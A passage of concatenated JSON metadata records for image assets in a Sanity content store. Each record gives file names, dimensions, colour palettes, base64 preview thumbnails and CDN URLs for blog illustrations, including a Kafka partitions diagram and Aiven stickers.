{"_createdAt":"2022-11-03T08:45:16Z","_id":"image-314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644-png","_rev":"70bM5v708uTTBntrbEYnBR","_type":"sanity.imageAsset","_updatedAt":"2022-11-03T08:45:16Z","assetId":"314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHCPntlAJUwJI9*0x^xaSwR4xtt7Nxnin$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9968944099378882,"height":644,"width":1286},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACsElEQVQokQXBWW/TBgDAcT/taS9ITIKu6gUhPdJc5HAuJ3EO27FT202co2trSmlID2imdmGkbWBA060Hm6ZJe5g0aZrEeOBlD5OYND4Dz3ya/34/obezwnCwx7OXRxyPXvDd+SlnFy8ZvXrK2fARF8Mdfnq+y/lRh8HeCtuuxVpdY7Wustk2uNdQcXQJsyRil0WEfs/lxekxZ3+85fTdB07f/cfozd/0v7/AdVs0TJn1hsL9tsZaQ6G71ebw28ecnOzz6rjLyeEG3Y1lLEMmL8UQLLPMw/0eoz/f8/r9J67+/cSP/3zkydVvGLaFGPOTTgQpZCMoxSTuTofDn3/l6OoHhoOHHOy1aDkV8rJENB5F8PkXKRk2O4Mr+pd/0b98w9Pz3+l+PUDXNaRklJQYIZsMU8rGWG41+ergGWu7j1lrVmjoKbR8nGJWJJ+6ixAMLiJJGSqGhb7kYCzVqFk2dVNnuSJjqTlMVaZWztBW07T1Ai3TYNXUuFdJ46pxXD3B/WqKVSWGoMgJGnYZxyqjymnkZBQjF2d9SabT1FivKazXVDasIh27wAO7xJZdZr8qc1BO0KtKPGoV6S6nacohBDUfpVUr4rYrOEYWPRvFykVxjQxbtRKOmsGU4zhFkQ0tza6t0Gub9C2FbzIxOvk4K1oCI+0j6ZtGEENektEFSlIYIxvGSAVYSoeoF2I4ZZFiIkDc7yUfmGMz5Od5LMlxocS2ksPNRmjmwmhJH/H5SYK3xxCC89PcmR7DPzuFFJ4lH/SSC3kpJnxUs/PY+dsoyRlKC7fYHffwy/VFXk9GeBAKYUlB2moMS1ok4ZskMjuO4J+b4csb17k1NUY84EX0efB7Jgh4bmJlbjLcnOCJO4MTnmDr2jijz6a4/NzL9swcemyBuhyiKnqJeG7gm/qC/wFPUIOjvgoXGwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3c2e","foreground":"#fff","population":6.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e0c21","foreground":"#fff","population":1.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4e3c2e","foreground":"#fff","population":6.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1ac92","foreground":"#000","population":6.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#91c1df","foreground":"#000","population":6.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#897d6d","foreground":"#fff","population":6.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd153e","foreground":"#fff","population":1.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644.png","path":"images/sczeoy4w/production/314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644.png","sha1hash":"314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac","size":1601739,"uploadId":"cRKLO1tvqHP96IX0n9x8ENhN55yaXHKy","url":"https://cdn.sanity.io/images/sczeoy4w/production/314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644.png"} {"_createdAt":"2022-11-03T08:45:48Z","_id":"image-69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814-png","_rev":"wKuLlvEOHLNDUP7J6BjEQ6","_type":"sanity.imageAsset","_updatedAt":"2022-11-03T08:45:48Z","assetId":"69acfc2b7e21edc5fc0ebe1c1340e30af55de980","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDEL._%24oIoNG_M%LIVnhWB9GRj-:t7t7D%M{-:ozof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.574938574938575,"height":814,"width":1282},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAADEUlEQVQokSWP7U8aBwCH799pttUqCigHx4HAwfEiHHAHykt5EcF3U80iLs4ON9sqajoRisJWirbVNqlLsyz9455l7MOTJ/klz4efkJibpVbSWavMs5iLU8zEyKcjpOOBETkjRC4VGm1LBZ1KQWc+qWJoyv+OK6QSKoWsRimfRNiszXOwu8yLgy3Oftvh91d1Tn/9kaP9LQ731mnUV2nUVzisr3K0v87h3jJrFYNExE3Y7xgRUZ3MBV2E/BLCs9Us2+sFDnZX6LcafLptMxx06V21eNM5p3N5SvfyhH77mGH3JTedBifPN6gWE2QNlYzuJ51Q0GNeoiEZIZsOkUoEqJUNOuc/8/njFcP3A3pv/6Tbv6bb69LvtRn2W3wevObhXZP2yR5ba0WWSjrVYpxSNkI6qRANuxBmZSte9wy5dITL5k88fGhzf9Nh+EeLwfVrBldn3Fydctdv8tfwnK+351y8qlN6apBKBinno+Tng4RVCbdsQZg0fY9oM7GgB3lzts8/923+/nAxir8MTvnytsnDoMnXmzO+3V3w7b5F63iXBSNEOChTzsco56KEAw5kaRJhbOwRVssTkjEfJ41t3veOue0eMWwf8u6yweDyl5FvOod8vH7BXe8lzeebpDWFgCJRLc+zs1kiY6j43BaEiSePsFnHCXjto9u1UopaUadaSFLJxynnNBb/I69RKyZZX0xRWZgj5rOjeu2UC2nqOytU8jGCHguCZPoOvzRF0GPD7ZjCMTOByz6J4rTgdZjxOabw2k04LI+RZsYJe0U0n0hYNpNUndRycbarGZbSKknFihCdHiPhsmAoInMuC6o4QUw0seCeIaPYyQREkm4zHssPqJKZkq5S0LzEPdMYfjuliIuVuI9qdJZCwIqgOSeJy2ZyikgpIFLxzLBqN/PMbWMjLFOLungacqK5p9EVkYLmIRuWKEYcFCIShmeafEBiVXOxFbMh+B0m5pxmCn47y0EHy7NWVmyTbMhWNoMSy1EXRc1DJiJjeKYI2x8Tk8fZMGTW9FlCkpWQZGYjIXK86OFfouYFeHVJNbUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564336","foreground":"#fff","population":4.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#935b28","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9e907f","foreground":"#fff","population":11.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c5aa","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6bea2","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e907f","foreground":"#fff","population":11.83,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b8721a","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814.png","path":"images/sczeoy4w/production/69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814.png","sha1hash":"69acfc2b7e21edc5fc0ebe1c1340e30af55de980","size":1673513,"uploadId":"7p76BHEAauPL4oZvTEn15yndK4q7rM99","url":"https://cdn.sanity.io/images/sczeoy4w/production/69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814.png"} {"_createdAt":"2022-11-22T10:40:49Z","_id":"image-40b7bd841686ce166e1e718b5ca8daf543fe736d-1600x962-png","_rev":"bUMlF7B1Xxw34pzcKwpqgw","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T10:41:34Z","altText":null,"assetId":"40b7bd841686ce166e1e718b5ca8daf543fe736d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6632016632016633,"height":962,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkElEQVQokYWS2a4bIQyG5/3fsG2SZhYw2IBZB8Isp5qml6mO9Mn6ffFb3oZQvr6F04GuA7U3yjTizedz8Plb8+lCV1gWSDOkBZJQWZmXS8dgw4HciTun8z/mg31VOo5LuI/hMYVJRKDVxX3Qrs+qLKqQ3zidn9idL0RhlvHXM97GuEAkmzltA/EmsQms2r7IdeKNuF/CbRfcyb6MydYE1EFIL6RHjJZXn/bB+F3RS+oKegWsitoFNsD6L8WqVSRlHSgrwEpwmowtV9vG70CbUOsiwyTSc8mPKf+e8ySSgCCvik2riGBQKJwWmgUBEUUXt2th2m1AVWqeZbiN8cfjirMMoBloVaZpjEQetSdpCAyiN+7vzJxOG3bjO3FD2yTWWRWBFV0jbsQdXUPKaIo2VdOq6RKGXz4dg88Hp53T7vPp88npePNOL9JuuSmqi6qzvBCqKdtdOgfiBpiUKS5uH+8cyxfHrqhMotyf631cJ1HU+84LhJ93eIyobfX585/41I2LAvLt2W5jWyAbG33a/gBWKaLq+qLd1gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343454","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#645820","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f0a3","foreground":"#000","population":0.23,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb4c5","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7f0a3","foreground":"#000","population":0.23,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b8b54","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac9838","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-simply-explained-partitions-highres-tinified.png","path":"images/sczeoy4w/production/40b7bd841686ce166e1e718b5ca8daf543fe736d-1600x962.png","sha1hash":"40b7bd841686ce166e1e718b5ca8daf543fe736d","size":31874,"title":null,"uploadId":"fn8BM5IcUiBbqVpZECKW7hh0V8GXy0na","url":"https://cdn.sanity.io/images/sczeoy4w/production/40b7bd841686ce166e1e718b5ca8daf543fe736d-1600x962.png"} {"_createdAt":"2022-09-28T08:11:05Z","_id":"image-3539325a89681566132a87fcfc35bfb0262870ff-1263x1263-png","_rev":"sI1gFaRN7B5HWmjllPzLaz","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T08:11:05Z","assetId":"3539325a89681566132a87fcfc35bfb0262870ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1263,"width":1263},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4335","foreground":"#fff","population":1.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c0e04","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f17709","foreground":"#fff","population":5.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4a39a","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb45a","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5c54","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f17709","foreground":"#fff","population":5.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"women-front-view-smiling-with-laptop-aiven-sticker.png","path":"images/sczeoy4w/production/3539325a89681566132a87fcfc35bfb0262870ff-1263x1263.png","sha1hash":"3539325a89681566132a87fcfc35bfb0262870ff","size":255550,"uploadId":"oO7sWK4rDTiZ6uFVVpT8vN6uqakriTDs","url":"https://cdn.sanity.io/images/sczeoy4w/production/3539325a89681566132a87fcfc35bfb0262870ff-1263x1263.png"} {"_createdAt":"2022-09-28T08:11:05Z","_id":"image-6c84223cc6af74809dc6828339f52360171168d6-1263x1263-png","_rev":"lf1jOsEAA7PAFZMZhd1oM8","_type":"sanity.imageAsset","_updatedAt":"2022-09-28T08:11:05Z","assetId":"6c84223cc6af74809dc6828339f52360171168d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1263,"width":1263},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324c66","foreground":"#fff","population":1.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c1a06","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f77609","foreground":"#fff","population":4.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0ae9b","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#88d4fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657699","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f77609","foreground":"#fff","population":4.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"men-facing-left-typing-laptop-aiven-sticker.png","path":"images/sczeoy4w/production/6c84223cc6af74809dc6828339f52360171168d6-1263x1263.png","sha1hash":"6c84223cc6af74809dc6828339f52360171168d6","size":289644,"uploadId":"hPU1ZQ9PmH2BKQwzzvNocn7mCXxAljAs","url":"https://cdn.sanity.io/images/sczeoy4w/production/6c84223cc6af74809dc6828339f52360171168d6-1263x1263.png"} {"_createdAt":"2022-11-28T09:37:00Z","_id":"image-c07e6f8c2117ae0186aaa52f5367586f10734f9b-1875x833-png","_rev":"z7EiK8inwybcbhSAyISUvc","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T09:39:16Z","altText":"A magic wand pointed at the crab with rabbit ears","assetId":"c07e6f8c2117ae0186aaa52f5367586f10734f9b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.250900360144058,"height":833,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC4klEQVQokT2SaSzbcRyHv8SxJoQ5EqbE5ohspM5N52jdZzQxQtSEjBJRFpZS2cLUmcVoNbOWfzo657qiFFt0i+hKjS5dItjILta4I7MM4/9beLE3n5dP8uT5AM4yJOClBtdwll4SYumlntS7kvfVvS46nc529fOyMUIIJl5gsFFmDagUAJUAbHHDYFY1BWq1GjTzc/ByeAKYle1A8MoHOC0wicULjbn4PdOpv7Xuqt99TMnue1nNxupCzN7mulnFwyZY/7UPAA0AgACdLwDaXoFXY3KYn9cAOt0GckoVkGj3AeazXSSbRc4//tRRTg+kD063ZqQH31Ujk1p5d9rTxgYLsA3VX+DkAUIAaPmMhGDWC2BiTAZNXB6cGVi60yCEXqV38QYToC4j6ucbTs6RbugJ2tJM4mvqSXxJItJKK4sK6fFBpIgwsmNShJ9NfaKTlYJha77GsibstIQbzKmnzTQaDfGjVntJqVLbC8QyS1PfAiPITEn+0ltXdfi1/zna6XmGdh9zTjbZudNTjITs4hQf/6xb3jdTY7zJ9HCP6zWZVJ8pfr7LqpxnMT426q1QKHKVSiXznUqVPyhXBLhGs03hTmycYDwzc3GbkXN4lJF2dJwU/+2EFtK0l+xPEpe5WTbfverATHV3jqN6uhUz0r1f92Okt6NSZ6FQkC4Wi2VSqXRaLpcPDcpG0vPK+eZQHRjsv0SNZB9RoiQoOHIIp4TXIio1EEWSCecRZqz0BziXDUIpnkYlrHKTkdFxy7Z2zL2xsZHN5/OVGIYtdnR0jHd2irO6uvus4JNvsOGhf7QdTo73QQEJfngQzfEkNPFCigcPAJbOY1TnOIAryQeqbtsAJa3CsLqhyamZy6W3tLSUtra2lgmFwiKRSBQ2MCC1+n+DWITgQ/c+IJdQQMRCQIVEOBZcgZUuInDyPYDHsAeiH12PQMo2YLIfmQnbMAeRSGSLYZhFT0+Po0QisZPJho3/ARH0Vh5f3zOsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394f48","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#581108","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96811","foreground":"#fff","population":4.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9698","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4a569","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#768e89","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96811","foreground":"#fff","population":4.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"8_Tipst_in-line-image.png","path":"images/sczeoy4w/production/c07e6f8c2117ae0186aaa52f5367586f10734f9b-1875x833.png","sha1hash":"c07e6f8c2117ae0186aaa52f5367586f10734f9b","size":756183,"title":"Fixing mistakes","uploadId":"cI17qhUx7SlU0HRJzIBrJVy09GZyHxVh","url":"https://cdn.sanity.io/images/sczeoy4w/production/c07e6f8c2117ae0186aaa52f5367586f10734f9b-1875x833.png"} {"_createdAt":"2022-11-28T09:37:02Z","_id":"image-b1d75e036ef7ab8cfe6ad1073307bbce2cc8825f-1875x1042-png","_rev":"v53ZsDDD1bdWz9EKVVUo4i","_type":"sanity.imageAsset","_updatedAt":"2022-11-28T10:44:36Z","altText":"A glass jar with a cork and a label that has a network sketch on it.","assetId":"b1d75e036ef7ab8cfe6ad1073307bbce2cc8825f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7994241842610366,"height":1042,"width":1875},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADTElEQVQokUXSb0wTBxgG8PdKoUzBCTjLTROqJBoRZnFciFFDNNEsAwezRWMiMjVEVg3Jlm7WRUyqSMQPTiTQNai99Fompf/o9a5cOQtlthx/FjAxmIU4s5AYt6HGD4qz3L0G4rbny/PtlzdvHlB4EpDPJ5QISShCIRS1IgzRdcByQrbH49nndDov2u32zra2qx0Wi+Xb2mOnd2Zsa9ym1R8t6TlaqEMLaF+Z0zLwLAB+DwAYIdXIk1nI52crkfUr3vRrNTj1iXokxm0KBgNX3G73g/b29jmz2TxnMpl+MZ89b9p9xFpSTB3c2P+VjsRzkPX3NxoVWv4D89MVnsxWeDJX5tfnLbIf5S3G964dj7krB3g2GgqF3tI0jS0tLWi1Wp/afrJf6nT4dDXln66YPLNuJZ6DtGB9AWDze1DhSQIj+SoUP05HUZspCxuz/pB+LJq4F24eicd+kyRpUZIkeXBwEDmOeyqKovXXyQltU88szNsqiaXLUt8R/4N/9RUA/q4G0NqIlVsOq8I3TqrvT4xQ42NJtySNvpyensaZmRl5amoKJUl6nkwkricTSR0v3oGOSQQsAcATJOBlAMUCS0Gor90HUGzKqKj4ctXw8bU5s1zn9vHRe13JZPJZIpHA4eFhWRAEjEQiC4Ig9N4dGtIjIpQO1sHDPgcolAGQMiw3wJZTUL13P0BhU7rpwJ7cx43qgvmuz/VJkf0hFos9FkURWZaVfT4fBoPBtzzHCTF+oOLPKzZ1CgCuIQKWLYFGwDIjAGxuhI5DWwFyWglPg16zcAZyn3TVbLjLB5oGBGE2Go3+Cyr9wf6UEObioz97v3hd/XUOFld9kNp1RIOUMW0ZpIwARFEDYApgz+5KwOgxwA0AY6FbH/Jc+FQ4HJ5lWRb9fj/29vait69PDvkDQ3FnT9XCZyfXYGlNnlx+KFehjKuQMmYiZVABFDUs/3GNvg6aHXEYc14AThzR+P3+Kq/Xy3s8nicMw8zTND3PMMwjF8PY7tymS19UN2bg9oOZcnltFlKG1UgZspEyqGF54e9XHrC3AiBCwH1TxTCMzuVyNTAMc9PhcARomva5XK5r3d3dVa1X23KwvhkuPXsE/+w4TChlhrQlDCkD8Q5j6LgEQPKXJAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePalette